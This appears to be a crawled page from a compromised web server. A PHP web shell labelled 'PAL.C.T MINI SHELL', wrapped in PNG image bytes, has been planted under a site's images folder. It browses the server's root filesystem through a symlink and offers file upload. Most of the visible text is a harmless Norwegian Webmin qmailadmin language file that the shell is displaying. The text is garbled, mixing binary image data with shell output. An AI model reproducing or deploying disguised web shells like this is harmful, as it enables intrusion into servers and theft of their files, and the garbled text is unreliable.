php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/sub/images/Rm19_symconf/root/usr/libexec/webmin/qmailadmin/lang/
upload
files >> /var/www/html/sub/images/Rm19_symconf/root/usr/libexec/webmin/qmailadmin/lang/no

index_title=QMail e-post tjener
index_edir=Grunnkatalogen $1 for QMail finnes ikke. Kanskje QMail ikke er installert, eller så er <a href='$2'>modulkonfigurasjonen</a> feil.
index_edir2=Katalogen $1 ser ikke ut til å være QMails grunn-katalog. Kanskje QMail ikke er installert, eller så er <a href='$2'>modulkonfigurasjonen</a> feil.
index_return=QMail konfigurasjon
index_stop=Stopp QMail prosesser
index_stopmsg=Klikk på denne knappen for å stoppe QMails bakgrunnsprosesser som er ansvarlige for å levere meldinger i køen. Uten disse prosessene vil ikke e-post bli sendt fra eller levert til systemet ditt.
index_start=Start QMail prosesser
index_startmsg=Klikk på denne knappen for å starte QMails bakgrunnsprosesser som er ansvarlige for å levere meldinger i køen. Uten disse prosessene vil ikke e-post bli sendt fra eller levert til systemet ditt.

opts_title=QMail innstillinger
opts_me=Lokalt vertsnavn
opts_helo=Vertsnavn for SMTP HELO
opts_toconnect=Tidsavbrudd for SMTP tilkobling
opts_secs=sekunder
opts_toremote=Tidsavbrudd for utgående SMTP svar
opts_bytes=Maks. meldingsstørrelse
opts_unlimited=Ubegrenset
opts_timeout=Tidsavbrudd for innkommende SMTP data
opts_localip=Vertsnavn for e-post til lokal IP adresse
opts_greet=SMTP hilsningsmelding
opts_err=Kunne ikke lagre QMail innstillinger
opts_eme=Ugyldig lokalt vertsnavn
opts_etoconnect=Ugyldig tidsavbrudd for SMTP tilkobling
opts_etoremote=Ugyldig tidsavbrudd for utgående SMTP svar
opts_ebytes=Ugyldig maks. meldingsstørrelse
opts_etimeout=Ugyldig tidsavbrudd for innkommende SMTP data
opts_elocalip=Ugyldig vertsnavn for lokal IP adresse

aliases_title=E-post aliaser
aliases_addr=Adresse
aliases_to=Alias til..
aliases_type1=Adresse $1
aliases_type2=E-post katalog $1
aliases_type3=E-post fil $1
aliases_type4=Program $1
aliases_type5=Autosvar fil $1
aliases_type6=Bruk filterfil #1
aliases_none=Ingen
aliases_return=alias liste
aliases_toomany=Det er for mange e-post aliaser på systemet ditt til å vises på denne siden.
aliases_go=Finn aliaser som matcher:
aliases_delete=Slett valgte aliaser

aform_type0=Ingen
aform_type1=E-post adresse
aform_type2=E-post katalog
aform_type3=E-post fil
aform_type4=Send videre til program
aform_type5=Autosvar fra fil
aform_type6=Bruk filterfil
aform_edit=Rediger alias
aform_create=Opprett alias
aform_name=Adresse
aform_val=Alias til
aform_afile=Rediger..
aform_novirt=&lt;Alle domener&gt;
aform_return=alias

asave_err=Kunne ikke lagre alias
asave_eaddr='$1' er ikke en gyldig adresse
asave_ealready=Et alias for '$1' finnes allerede
asave_etype1='$1' er ikke en gyldig e-post adresse
asave_etype2='$1' er ikke en gyldig e-post katalog
asave_etype3='$1' er ikke et gyldig e-post filnavn
asave_etype4='$1' er ikke et gyldig program eller det finnes ikke
asave_etype5=Autosvar filen '$1' er ikke gyldig
asave_etype4none=Ikke noe program angitt
asave_etype6=Filterfilen '$1' er ikke gyldig

adelete_err=Kunne ikke slette aliaser
adelete_enone=Ingen valgt

locals_title=Lokale domener
locals_domains=Lokale domener for denne tjeneren
locals_desc=QMail vil godta levering til lokale brukeres e-post til domenene og vertsnavnene angitt i tekstboksen til venstre. Dersom du ønsker at tjeneren din skal håndtere flere e-post domener, må du ta med alle disse i dette skjemaet
locals_only=Bare lokalt vertsnavn $1
locals_sel=Domener angitt nedenfor ..

rcpts_title=Godtatte domener
rcpts_domains=Godtatte lokale og relédomener
rcpts_all=Hvilket som helst domene
rcpts_sel=Domener angitt nedenfor ..
rcpts_desc=QMail vil bare godta videresending eller lokal levering av e-post til domener som er angitt i tekstboksen til venstre. Du kan også angi jokertegn som matcher aller verter i et domene som f.eks <tt>.foo.no</tt>. Dersom du ønsker at e-post tjeneren din skal  videresende e-post fra klienter må du godta e-post fra alle domener.
rcpts_domains2=Ekstra lokale og relédomener
rcpts_desc2=Dersom du har et stort antall godtatte domener bær du angi de minst brukte i denne tekstboksen. Generelt bør dine første $0 tillatte domener angis i den øverste tekstboksen og resten i denne tekstboksen.

bads_title=Avviste adresser
bads_addresses=Avviste e-post adresser
bads_desc=QMail vil avvise e-post for levering eller videresending fra alle adresser som er angitt i tekstboksen til venstre. Disse må skrives inn på formen <tt>brukernavn@domenenavn</tt>. Dersom du ønsker å avvise e-post fra et helt domene skrives adressen inn som <tt>@domenenavn</tt>.

routes_title=Domene ruting
routes_toomany=Det er for mange domene ruter på systemet ditt til å vise på denne siden.
routes_go=Finn domene ruter som matcher:
routes_from=E-post til domene
routes_to=Send via tjener
routes_direct=Lever direkte
routes_defroute=Lever all annen utgående e-post via:
routes_return=domene ruter
routes_delete=Slett valgte domene ruter

rform_edit=Rediger domene rute
rform_create=Opprett domene rute
rform_from=E-post til vert eller domene
rform_to=Send via SMTP tjener
rform_port=SMTP port

rsave_err=Kunne ikke lagre domene rute
rsave_efrom='$1' er ikke et gyldig domenenavn
rsave_eto='$1' er ikke en gyldig SMTP tjener
rsave_eport='$1' er ikke et gyldig portnummer

rdelete_err=Kunne ikke slette domene ruter

percents_title=% adresse domener
percents_domains=Domener som støtter % adresser
percents_desc=QMail vil godta e-post med adresser på formatet <tt>bruker%førstedomene@andredomene</tt> dersom <tt>andredomene</tt> er angitt i tekstboksen til venstre. Meldinger på dette formatet vil bli videresendt til <tt>bruker@førstedomene</tt> av denne e-post tjeneren.

virts_title=Virtuelle tilordninger
virts_toomany=Det er for mange virtuelle tilordninger på systemet ditt til å vise på denne siden.
virts_go=Finn virtuelle tilordninger som matcher:
virts_from=E-post til
virts_prepend=Prefiks foran
virts_all=Alle adresser
virts_none=Ikke virtuell
virts_desc=Virtuelle tilordninger brukes av QMail til å håndtere e-post til forskjellige domener på tjenere din, ved å legge tekst foran brukerdelen av e-post adressen før videre behandling. Du kan bruke dem til å sette opp virtuelle e-post domener ved å opprette en ny virtuell tilordning for et domene, og så bruke siden <a href='$1'>E-post aliaser</a> til å opprette aliaser i det domenet.
virts_return=virtuelle tilordninger
virts_delete=Slett valgte virtuelle tilordninger

vform_edit=Rediger virtuell tilordning
vform_create=Opprett virtuell tilordning
vform_from=E-post til adresse
vform_all=En hver adresse som ikke matcher en annen virtuell tilordning
vform_domain=Adresser med domene
vform_user=Adresse
vform_to=Legg foran brukernavn
vform_none=Ingenting
vform_prepend=Spesifisert prefiks
vform_auto=Automatisk valgt prefiks

vsave_err=Kunne ikke lagre virtuell tilordning
vsave_edomain='$1' er ikke et gyldig e-post domene
vsave_euser='$1' er ikke et gyldig e-post brukernavn
vsave_eprepend='$1' er ikke er gyldig tilordningsprefiks
vsave_eboth=Du kan ikke velge både 'En hver adresse som ikke matcher en annen virtuell tilordning' og 'Ingenting'

vdelete_err=Kunne ikke slette virtuelle tilordninger

stop_err=qmail-send prosess kjører ikke lenger

log_stop=Stoppet QMail prosesser
log_start=Startet QMail prosesser
log_opts=Endret QMail innstillinger
log_alias_create=Opprettet alias $1
log_alias_delete=Slett alias $1
log_alias_modify=Endret alias $1
log_delete_aliases=Slettet $1 aliaser
log_virt_create=Opprettet virtuell tilordning $1
log_virt_delete=Slettet virtuell tilordning $1
log_virt_modify=Endret virtuell tilordning $1
log_delete_virts=Slettet $1 virtuelle tilordninger
log_virtall_create=Opprettet catchall virtuell tilordning $1
log_virtall_delete=Slettet catchall virtuell tilordning $1
log_virtall_modify=Endret catchall virtuell tilordning $1
log_locals=Endret lokale domener
log_rcpts=Endret godtatte domener
log_bads=Endret avviste adresser
log_percents=Endret % adresse domener
log_route_create=Opprettet rute for $1
log_route_delete=Slettet rute for $1
log_route_modifed=Endret rute for $1
log_delete_routes=Slettet $1 ruter
log_defroute=Endret standard rute
log_assign_create=Opprettet e-post bruker $1
log_assign_delete=Slettet e-post bruker $1
log_assign_modifed=Endret e-post bruker $1
log_delete_assigns=Slettet $1 e-post brukere
log_delmail=Slettet $1 meldinger fra $2
log_movemail=Flyttet $1 meldinger fra $2 til $3
log_send=Sendt e-post til $1

rfile_title=Rediger Autosvar fil
rfile_desc=Bruk tekstområdet nedenfor til å redigere autosvar meldingen i $1. Meldingen kan inneholde makroene $SUBJECT, $FROM, $TO, $DATE og $BODY som vil bli utvidet når autosvar aktiveres.
rfile_desc2=Du kan også sette e-post headere som legger til eller erstatter standardverdiene i autosvar filen ved å legge inn linjer som: <br><tt>From: foo@bar.com</tt><br><tt>Subject: På ferie</tt><br>i toppen av meldingen, adskilt fra meldingsteksten med en enkelt blank linje.
rfile_efile=Du har ikke lov til å redigere $1.
rfile_undo=Angre endringer
rfile_replies=Spor svar for å forhindre e-post løkker?
rfile_none=Ingen
rfile_file=Ja, ved bruk av loggfil
rfile_period=Minimum intervall mellom svar
rfile_default=Standard (1 time)
rfile_secs=sekunder
rfile_ereplies=Manglende loggfil for sporing av svar
rfile_eperiod=Manglende eller ugyldig antall sekunder mellom svar
rfile_no_autoreply=Ikke send autosvar til
rfile_from=Fra: adresse for svar
rfile_auto=Automatisk (basert på mottakeradressen)
rfile_efrom=Manglende Fra: adresse
rfile_fromdesc=En Fra: adresse bør alltid angis hvis mulig, siden den automatiske metoden ikke alltid vil være pålitelig.

ffile_title=Rediger filterfil
ffile_desc=Bruk skjemaet nedenfor til å sette opp filtreringsregler i filen $1.
ffile_efile=Du har ikke tilgang til å redigere $1.
ffile_line=Dersom $feltet $2 $3 så videresend til $4
ffile_from=fra
ffile_to=til
ffile_subject=emne
ffile_cc=Kopi
ffile_body=meldingstekst
ffile_what0=matcher ikke
ffile_what1=matcher
ffile_other=Ellers videresend til $1
ffile_err=Kunne ikke lagre filterfil
ffile_ematch=Manglende match
ffile_eaction=Mangler videresendingsadresse

queue_title=E-post kø
queue_count=$1 meldinger
queue_none=Ingen e-post meldinger er for øyeblikket lagt i kø for levering.
queue_id=E-post ID
queue_date=Sendt
queue_from=Fra
queue_to=Til
queue_cc=Kopi
queue_subject=Emne
queue_return=e-post kø
queue_delete=Slett valgte meldinger
queue_all=Velg alle
queue_invert=Inverter valg
queue_refresh=Oppfrisk e-post kø
queue_refreshdesc=Last denne siden på nytt for å vise e-post køens gjeldende status.

qview_title=Melding lagt i kø
qview_desc=Fra fil $1
qview_headers=E-post headere
qview_attach=Vedlegg

assigns_title=E-post bruker tilordninger
assigns_return=e-post bruker tilordninger
assigns_toomany=Det er for mange e-post brukere på systemet ditt til å vise på denne siden.
assigns_go=Finn e-post brukere som matcher:
assigns_address=E-post til adresse
assigns_user=Unix bruker
assigns_uid=UID
assigns_gid=GID
assigns_home=Hjemmekatalog
assigns_desc=Tilordning av e-post brukere lar deg opprette postbokser for brukere som ikke er definert i Unix' brukerliste. Hver tilordning vil levere e-post for et valgt brukernavn eller brukernavn-mønster, som om den ble levert til en ordinær Unix brukers e-post.
assigns_delete=Slett valgte e-post brukere

sform_edit=Rediger e-post bruker
sform_create=Opprett e-post bruker
sform_address=Adresse brukernavn
sform_mode0=Eksakt brukernavn
sform_mode1=Brukernavn som starter med
sform_user=Unix bruker
sform_uid=UID
sform_gid=GID
sform_home=Hjemmekatalog

ssave_err=Kunne ikke lagre e-post bruker
ssave_eaddress=Manglende eller ugyldig adresse brukernavn
ssave_euser=Manglende eller ugyldig Unix bruker
ssave_euid=Manglende eller ugyldig UID
ssave_egid=Manglende eller ugyldig GID
ssave_ehome=Manglende eller ugyldig hjemmekatalog

sdelete_err=Kunne ikke slette e-post brukere

delete_egone=Melding i kø finnes ikke lenger
delete_ebogus=Ugyldig kø filnavn

boxes_title=Bruker postbokser
boxes_user=Bruker
boxes_size=Postboks størrelse
boxes_none=Ingen e-post
boxes_return=postbokser
boxes_sent=Sendt e-post
boxes_ecannot=Du har ikke tilgang til å lese e-post
boxes_toomany=Det er for mange e-post brukere på systemet ditt til å vise alle dere postbokser.
boxes_go=Vis e-post for bruker:

mail_title=Bruker e-post
mail_from=Fra
mail_date=Dato
mail_subject=Emne
mail_to=Til
mail_cc=Kopi
mail_bcc=Blindkopi
mail_pri=Prioritet
mail_highest=Høyest
mail_high=Høy
mail_normal=Normal
mail_low=Lav
mail_lowest=Lavest
mail_for=I $1
mail_for2=Til bruker $1
mail_sent=I liste over sendt e-post
mail_size=Størrelse
mail_delete=Slett
mail_compose=Skriv
mail_return=bruker postboks
mail_pos=Meldingene $1 til $2 av $3
mail_none=Denne postboksen har ingen meldinger
mail_ecannot=Du har ikke lov til å lese denne brukeren e-post
mail_all=Velg alle
mail_invert=Inverter valg
mail_search=Finn meldinger hvor
mail_body=Meldingstekst
mail_match=matcher
mail_ok=Søk
mail_nonefrom=Ingen
mail_mark=Merk som:
mail_mark0=Ulest
mail_mark1=Lest
mail_mark2=Spesial
mail_forward=Videresend
mail_rfc=Fra linje
mail_move=Flytt til:
mail_eexists=Meldingen finnes ikke lenger!

view_title=Les e-post
view_desc=Melding $1 i $2
view_desc2=Melding $1 til bruker $2
view_desc3=Melding $1
view_sent=Melding $1 i liste med sendt e-post
view_qdesc=Melding i kø $1
view_headers=E-post headere
view_allheaders=Vis alle headere
view_noheaders=Vis grunnleggende headere
view_attach=Vedlegg
view_reply=Svar
view_reply2=Svar til alle
view_enew=Rediger som ny
view_forward=Videresend
view_delete=Slett
view_strip=Fjern vedlegg
view_ecannot=Du har ikke lov til å lese denne brukerens e-post
view_mark=Mer melding som:
view_mark0=Ulest
view_mark1=Lest
view_mark2=Spesial
view_return=opprinnelig melding
view_sub=Vedlagt e-post

compose_title=Skriv e-post
reply_title=Svar til e-post
forward_title=Videresend e-post
enew_title=Rediger e-post
reply_headers=E-post headere
reply_attach=Videresendte vedlegg
reply_mailforward=Videresendte meldinger
reply_attach2=Klient- og tjener-side vedlegg
reply_send=Send e-post
reply_ecannot=Du har ikke lov til å sende e-post som denne brukeren

send_err=Kunne ikke sende e-post
send_eto=Manglende Til adresse
send_efrom=Manglende Fra adresse
send_title=E-post sendt
send_ok=E-post sendt OK til $1
send_ecannot=Du har ikke lov til å sende e-post som denne brukeren
send_esmtp=SMTP kommando $1 feilet : $2
send_efile=Vedlagt fil $1 finnes ikke
send_eattach=Vedlegg kan ikke ha total størrelse større enn $1 kB.
send_eperms=Bruker $1 kan ikke lese $2
send_eperms2=Du har ikke lov til å sende fil $2
send_epath=Sendmail programmet $1 finnes ikke.

delete_title=Slett e-post
delete_rusure=Er du sikker på at du ønsker ¨å slette de $1 valgte meldingene fra $2? Dette kan ta noe tid på en stor mail-fil. Du bør ikke utføre noen andre handlinger før slettingen er fullført.
delete_rusure2=Er du sikker på at du ønsker å slette denne meldingen fra $1? Dette kan ta noe tid i en stor mail-fil. Ikke utfør noen andre handlinger for slettingen er fullført.
delete_ok=Slett nå
delete_ecannot=Du har ikke tilgang til å slette e-post fra denne brukeren
delete_enone=Ingen e-post valgt for sletting
delete_emnone=Ingen e-post valgt for merking
delete_nobutton=Ingen knapp klikket

search_title=Søkeresultat
search_ecannot=Du har ikke lov til å søke gjennom denne brukerens e-post.
search_ematch=Du må angi en tekst det skal matches mot.
search_efield=Du må velge en søketype.
search_none=Ingen meldinger funnet.
search_results2=$1 e-post meldinger som matcher $2 ..
search_results3=$1 e-post meldinger som ikke matcher $2 ..

match_from=Fra: matcher
match_subject=Emne: matcher
match_to=Til: matcher
match_cc=Kopi: matcher
match_date=Dato: matcher
match_body=Meldingstekst matcher
match_size=Størrelse er større enn
match_headers=Headere matcher
match_=-----------------
match_!from=Fra: matcher ikke
match_!subject=Emne: matcher ikke
match_!to=Til: matcher ikke
match_!cc=Kopi: matcher ikke
match_!date=Dato: matcher ikke
match_!body=Meldingstekst matcher ikke
match_!size=Størrelse er mindre enn
match_!headers=Headere matcher ikke

delq_titles=Sletter meldinger
delq_rusure=Er du sikker på at du ønsker å slette de $1 valgte meldingene fra køen?
delq_confirm=Slett meldinger
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`